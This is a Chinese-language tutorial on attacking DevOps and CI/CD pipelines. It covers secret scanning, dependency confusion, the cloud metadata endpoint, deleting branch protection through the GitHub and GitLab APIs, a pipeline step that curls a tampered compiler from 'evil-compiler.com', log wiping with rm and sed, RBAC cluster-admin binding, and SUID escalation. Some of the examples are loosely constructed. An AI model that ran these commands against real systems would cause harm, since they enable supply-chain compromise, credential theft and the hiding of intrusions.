Devops 利用

SCM 身份认证

SCM 身份验证是指验证和访问组织的源代码管理 (SCM) 系统的过程。它通常涉及使用身份验证方法,例如个人访问令牌 (PAT)、SSH 密钥或其他允许的凭据。

然而,攻击者可能会尝试利用此身份验证过程,通过网络钓鱼攻击等技术获得对 SCM 的未经授权的访问。这可能会对组织的源代码和敏感信息构成重大威胁。为了减轻这种风险,了解潜在的攻击并实施强大的安全措施至关重要。

下载工具:

  • Gitrob

https://github.com/michenriksen/gitrob

python gitrob.py <organization/repo>
  • TruffleHog

https://github.com/trufflesecurity/trufflehog

扫描存储库并仅查找经过验证的密钥:

trufflehog git https://github.com/trufflesecurity/test_keys --only-verified

正则表达式检测:

trufflehog --regex --entropy=True <repository URL>

CI/CD服务认证

CI/CD是持续集成(Continuous Integration)和持续部署(Continuous Deployment)的简称,它是一种通过在开发过程中自动执行一系列脚本来提高软件质量和交付速度的方法。

CI/CD服务认证是指在使用CI/CD工具或平台时,需要对用户或程序进行身份验证,以确保它们有权访问或操作代码仓库、构建服务器、测试环境和生产环境等资源。

Gitlab检测:

gitlab-ci-linter <path-to-ci-file>

下载工具:

  • Travis-CI

https://www.travis-ci.com/

travis-ci-scanner <repositor URL>

公共存储库

  • GitHub 高级搜索:利用 GitHub 的高级搜索功能根据特定条件(例如语言、位置或存储库主题)查找组织。访问 GitHub 网站并导航到高级搜索页面以探索可用的搜索过滤器。
  • Shodan:Shodan 是一个针对互联网连接设备的搜索引擎。它可用于发现将其存储库或 CI/CD 服务公开到互联网的组织。访问 Shodan 网站并使用相关关键字和过滤器执行搜索。

Github 高级搜索:

language:php location:"Tai Kong" org:fuckeveryone

Shodan:

CI/CD organization

当然,这些都是示例,可以选择任意语法进行搜索。

访问 Github DorksShodan Dorks 即可获取更多语法。

Webhook

Webhook是一种基于HTTP的回调机制,它可以让一个应用在发生特定事件时,自动通知另一个应用。Webhook可以实现应用之间的实时数据传输,而不需要轮询或手动请求。

Shodan:

"http.title:/webhook/"

下载工具:

  • Git Hound

https://github.com/tillson/git-hound

 githound --regex 'webhook'

依赖包

攻击者发布同名的恶意依赖包,由于依赖包的控制机制通常会首先搜索公共注册表中的依赖包,因此会下载恶意的依赖包。

合法的依赖包:

{
  "name": "awesome-package",
  "version": "1.0.0",
  "description": "A useful package for developers.",
  "dependencies": {
    "dependency-a": "^2.0.0",
    "dependency-b": "^1.5.0"
  }
}

恶意依赖包:

{
  "name": "awesome-package",
  "version": "1.0.0",
  "description": "A package that injects malicious code.",
  "dependencies": {
    "malicious-dependency": "latest"
  }
}

在这个例子中,合法的私有包和恶意的公共包都具有相同的名称”awesome-package”和相同的版本号”1.0.0″。然而,恶意包包含一个名为”malicious-dependency”的附加依赖项,攻击者可以将恶意代码注入到项目中。

攻击者可以使用如下命令来发布恶意依赖包:

npm publish --registry=https://public-registry.com

查看依赖包的命令如下:

npm

npm view [package-name] dependencies

php

pip show [package-name]

私人存储库密钥提取

利用已经获得的初始访问方法,攻击者可以扫描私有存储库以查找隐藏的密钥。在私人存储库中找到隐藏秘密的机会比在公共存储库中更高,因为从开发人员的角度来看,密钥无法从组织外部访问。

下载工具:

  • Git Secrets

https://github.com/awslabs/git-secrets

git secrets --scan [-r|--recursive] [--cached] [--no-index] [--untracked] [<files>...]
git secrets --scan-history
git secrets --install [-f|--force] [<target-directory>]
git secrets --list [--global]
git secrets --add [-a|--allowed] [-l|--literal] [--global] <pattern>
git secrets --add-provider [--global] <command> [arguments...]
git secrets --register-aws [--global]
git secrets --aws-provider [<credentials-file>]
trufflehog git https://github.com/trufflesecurity/trufflehog.git
docker run -v `pwd`:`pwd` -w `pwd` --rm -it secretlint/secretlint secretlint "**/*"

提交并推送仓库分支

检索配置许可为可访问的存储库,这会允许攻击者将代码直接推送到受保护的分支,从而允许攻击者将代码直接注入到重要分支中,而无需团队干预。

列出存储库中的所有可用分支:

git branch --list --remote

将代码推送到受保护的分支:

git push <repository_url> <branch_name>

检索实例元数据

由于实例元数据可从正在运行的实例获取,因此无需使用 Amazon EC2 控制台或 AWS CLI。当编写要从实例运行的脚本时,这会很有帮助。例如,可以从实例元数据访问实例的本地 IP 地址,以管理与外部应用程序的连接。

IPV4:

http://169.254.169.254/latest/meta-data/

IPV6:

http://[fd00:ec2::254]/latest/meta-data/

更多命令可以访问 AWS文档 获取。

环境变量

如果客户需要从 CI 管道(例如外部数据库)访问外部服务,这些凭据将会驻留在管道内(可以通过 CI 机密、环境变量等设置)并且可以被攻击者访问。

运行以下命令即可查看环境变量:

[aws@aws]# printenv 
XDG_MENU_PREFIX=gnome- 
LANG=en_US.UTF-8 
GDM_LANG=en_US.UTF-8 
HISTCONTROL=ignoredups 
DISPLAY=:0 
HOSTNAME=linuxcool.com 
COLORTERM=truecolor 
USERNAME=root 
XDG_VTNR=2 
SSH_AUTH_SOCK=/run/user/0/keyring/ssh

服务凭据

攻击者可以通过在服务器中查找服务凭据,例如服务主体名称 (SPN)、共享访问签名 (SAS) 令牌等,来允许从管道访问其他服务。

使用以下命令进行过滤查找:

grep -r "SPN\|SAS" .

恶意构建工件

一旦攻击者控制了 CI 管道,攻击者就可以尝试将恶意代码可以在构建完成之前注入到构建材料中,从而将恶意功能注入到构建工件中。

列出指定构建目录中的目录和文件:

ls -la <build_directory>

在构建工件中创建后门:

  • Jenkins
pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                sh 'mvn clean install' // Potential misconfiguration where no security checks or validation are performed
            }
        }
        stage('Deploy') {
            steps {
                sh 'cp target/evil.war /var/www/html' // Misconfiguration where build artifact is directly copied to a public directory
            }
        }
    }
}
  • Gitlab
stages:
  - build
  - test
  - deploy

build:
  stage: build
  script:
    - npm install
    - npm run build # Misconfiguration where the build artifact is not properly validated

test:
  stage: test
  script:
    - npm run test

deploy:
  stage: deploy
  script:
    - cp dist/* /var/www/html # Misconfiguration where build artifacts are directly deployed to a public directory

利用镜像感染注册表

如果管道配置了构建工件的注册表,则攻击者可以尝试使用恶意镜像感染注册表,这些镜像稍后会将由使用此注册表的容器下载并执行。

使用以下命令来查看本地Docker中的镜像:

docker images

一旦攻击者获得了 CI 管道的控制权,他们就可以将恶意镜像注入注册表。这些恶意镜像可能包含后门、漏洞或其他恶意代码,当容器拉取并运行这些受感染的映像时,这些代码可能会被执行。

  • Docker
stages:
  - build
  - push

build:
  stage: build
  script:
    - docker build -t myapp:${CI_COMMIT_SHA} . # Misconfiguration where the image is built using an untrusted Dockerfile or without proper security checks

push:
  stage: push
  script:
    - docker tag myapp:${CI_COMMIT_SHA} myregistry.com/myapp:${CI_COMMIT_SHA} # Misconfiguration where the malicious image is tagged and pushed to the registry
    - docker push myregistry.com/myapp:${CI_COMMIT_SHA}
  • GitHub Actions
name: Build and Push

on:
  push:
    branches:
      - main

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v2

      - name: Build and push image
        env:
          REGISTRY: ghcr.io
          IMAGE_NAME: myapp
          TAG: $
        run: |
          docker build -t $REGISTRY/$IMAGE_NAME:$TAG .
          docker push $REGISTRY/$IMAGE_NAME:$TAG # Misconfiguration where the malicious image is pushed to the GitHub Container Registry

部署资源

如果管道配置了对部署资源的访问权限,那么攻击者对这些资源具有相同的访问权限,这可能会导致代码执行、数据泄露等,具体取决于授予管道的权限。

  • 配置错误的管道示例
---
pipeline:
  phases:
    - name: Build
      actions:
        - name: Build
          runOrder: 1
          configuration:
            ProjectName: MyProject
          actionTypeId:
            Category: Build
            Owner: AWS
            Provider: CodeBuild
            Version: '1'
        - name: Deploy
          runOrder: 2
          configuration:
            ActionMode: CREATE_UPDATE
            StackName: MyStack
            TemplatePath: MyTemplate.yaml
            Capabilities: CAPABILITY_IAM
            RoleArn: arn:aws:iam::123456789012:role/MyRole # Misconfiguration where a privileged IAM role is assigned to the pipeline
          actionTypeId:
            Category: Deploy
            Owner: AWS
            Provider: CloudFormation
            Version: '1'
  • Kubernetes 管道配置错误示例
---
stages:
  - build
  - deploy

build:
  stage: build
  script:
    - docker build -t myapp:${CI_COMMIT_SHA} .
    # Build and push image to container registry

deploy:
  stage: deploy
  script:
    - kubectl apply -f deployment.yaml # Misconfiguration where the pipeline directly applies the deployment manifest without proper validation or security checks

服务日志

通过查看服务的日志来检索信息或规避。

检查可用的日志文件或目录:

ls /var/log/

修改或删除日志文件:

rm /var/log/application.log
echo "Malicious content" > /var/log/application.log
sed -i 's/sensitive_data/replacement/g' /var/log/application.log
  • 配置错误的管道示例
---
stages:
  - build
  - deploy
  - cleanup

build:
  stage: build
  script:
    - echo "Building the application"
    # Perform build actions

deploy:
  stage: deploy
  script:
    - echo "Deploying the application"
    # Perform deployment actions

cleanup:
  stage: cleanup
  script:
    - echo "Cleaning up the environment"
    # Misconfiguration where the attacker manipulates service logs
    - sed -i 's/sensitive_data/replacement/g' /var/log/application.log

编译

  • 动态更改代码——在构建过程开始之前更改代码,无需在存储库中更改代码并在其中留下痕迹:
---
stages:
  - prepare
  - build
  - deploy

prepare:
  stage: prepare
  script:
    - echo "Preparing the environment"
    # Misconfiguration where the attacker changes the code on the fly
    - sed -i 's/old_code/malicious_code/g' main.js

build:
  stage: build
  script:
    - echo "Building the application"
    # Perform build actions

deploy:
  stage: deploy
  script:
    - echo "Deploying the application"
    # Perform deployment actions

该示例在准备阶段时,使用sed命令将old_code替换为malicious_code,此修改发生在构建开始前,所以攻击者可以注入代码且不会留下记录。

  • 纂改编译器——更改构建环境中的编译器以引入恶意代码,并且在该过程开始之前不留下任何痕迹
---
stages:
  - prepare
  - build
  - deploy

prepare:
  stage: prepare
  script:
    - echo "Preparing the environment"
    # Misconfiguration where the attacker replaces the compiler with a tampered version
    - curl -o compiler https://evil-compiler.com

build:
  stage: build
  script:
    - echo "Building the application"
    # Use the tampered compiler to build the code

deploy:
  stage: deploy
  script:
    - echo "Deploying the application"
    # Perform deployment actions

该示例在准备阶段时,使用curl命令下载了恶意编辑器并替换了构建环境中的合法编译环境。通过纂改恶意编译器,攻击者可以将恶意代码注入到构建过程中,而不会在构建开始前留下任何痕迹。

分支保护

分支保护允许组织在 PR/提交被批准进入分支之前配置步骤。一旦攻击者拥有管理员权限,他们就可以更改这些配置并将代码引入分支,而无需任何用户干预。

  • Github
curl -X DELETE -H "Authorization: token YOUR_TOKEN" https://api.github.com/repos/OWNER/REPO/branches/BRANCH/protection
#or
gh api repos/OWNER/REPO/branches/BRANCH/protection -X DELETE
  • Gitlab
curl -X DELETE -H "PRIVATE-TOKEN: YOUR_TOKEN" https://gitlab.com/api/v4/projects/PROJECT_ID/repository/branches/BRANCH/protected
#or 
gitlab protect unprotect --project PROJECT_ID BRANCH

克隆私有存储库

一旦攻击者获得了 CI 管道的访问权限,便能够获取私有存储库的访问权限(例如,可以在 GitHub 中使用 GITHUB_TOKEN),因此可以克隆和访问代码,从而获得对私有 IP 的访问权限。

steps:
  - name: Clone private repository
    env:
      GITHUB_TOKEN: $
    run: |
      git config --global user.email "your-email@example.com"
      git config --global user.name "Your Name"
      git clone https://github.com/your-username/your-private-repo.git

管道日志

攻击者可以访问管道执行日志、访问历史记录、构建步骤等,来获取可能包含有关构建、部署的敏感信息,在某些情况下甚至包含服务、用户帐户等凭据信息。

pipeline {
  agent any
  
  stages {
    stage('Build') {
      steps {
        // Your build steps here
      }
    }
    stage('Deploy') {
      steps {
        // Your deployment steps here
      }
    }
  }
  
  post {
    always {
      // Archive pipeline logs
      archiveArtifacts artifacts: 'logs/**'
    }
    success {
      // Perform actions for successful pipeline execution
      script {
        echo 'Pipeline execution was successful'
      }
    }
    failure {
      // Perform actions for failed pipeline execution
      script {
        echo 'Pipeline execution failed'
      }
    }
  }
}

生产资源

如果管道可以访问生产资源,则攻击者也可以访问这些资源。因此,攻击者可以滥用此访问权限来窃取生产数据。

from merlin import merlin_client

# Create a Merlin client object
client = merlin_client.MerlinClient()

# Connect to the target server using the provided URL and authentication token
client.connect('https://target_server.com', 'auth_token')

# Prepare your data for transfer
data = b'This is some sample data to transfer'

# Transfer the data to the server
client.send_data(data)

# Optionally, receive a response from the server
response = client.receive_response()
print(response)

容器配置错误

如果容器配置错误,可能会导致提升权限或访问敏感数据,可以运行以下命令来尝试:

docker exec -it --privileged <container_name> /bin/bash

如果获取到root权限,则证明利用成功。

Kubernetes RBAC 错误配置

在 Kubernetes 中,基于角色的访问控制 (RBAC) 用于定义每个用户或服务帐户对资源的访问级别。如果集群的 RBAC 配置不正确,攻击者可能会提升其权限。利用错误配置的 RBAC 的一种方法是创建具有提升权限的自定义角色并将其分配给服务帐户:

kubectl create clusterrolebinding privileged-role --clusterrole=cluster-admin --serviceaccount=<namespace>:<serviceaccount>

弱弱的权限管理

在 DevOps 管道中,持续集成/持续部署 (CI/CD) 工具(例如 Jenkins 或 GitLab)通常用于自动化构建和部署过程。如果这些工具的权限配置不正确,攻击者可能会利用它们来提升权限。例如,攻击者可以修改 Jenkinsfile 以添加将以提升的权限运行的 shell 命令:

stage('Build') {
  steps {
    sh 'sudo <command>'
  }
}

弱弱的AWS IAM 权限管理

在AWS环境中,身份和访问管理(IAM)用于控制对资源的访问。如果 IAM 权限配置不正确,攻击者可能会提升其权限。利用弱 IAM 权限的一种方法是创建具有提升权限的新 IAM 用户或角色,然后使用 AWS CLI 代入该角色:

aws sts assume-role --role-arn <role-arn> --role-session-name <session-name>

代码注入

攻击者可以将恶意代码注入管道或应用程序中以提升权限。例如,攻击者可以将代码注入到应用程序执行的脚本中,从而允许他们在目标系统上执行任意命令:

# Example 1: Using SUDO to escalate privileges

sudo /bin/bash

# Example 2: Exploiting a misconfigured SUID binary

chmod u+s /usr/bin/newuid
/usr/bin/newuid

# Example 3: Using a kernel exploit to escalate privileges

./exploit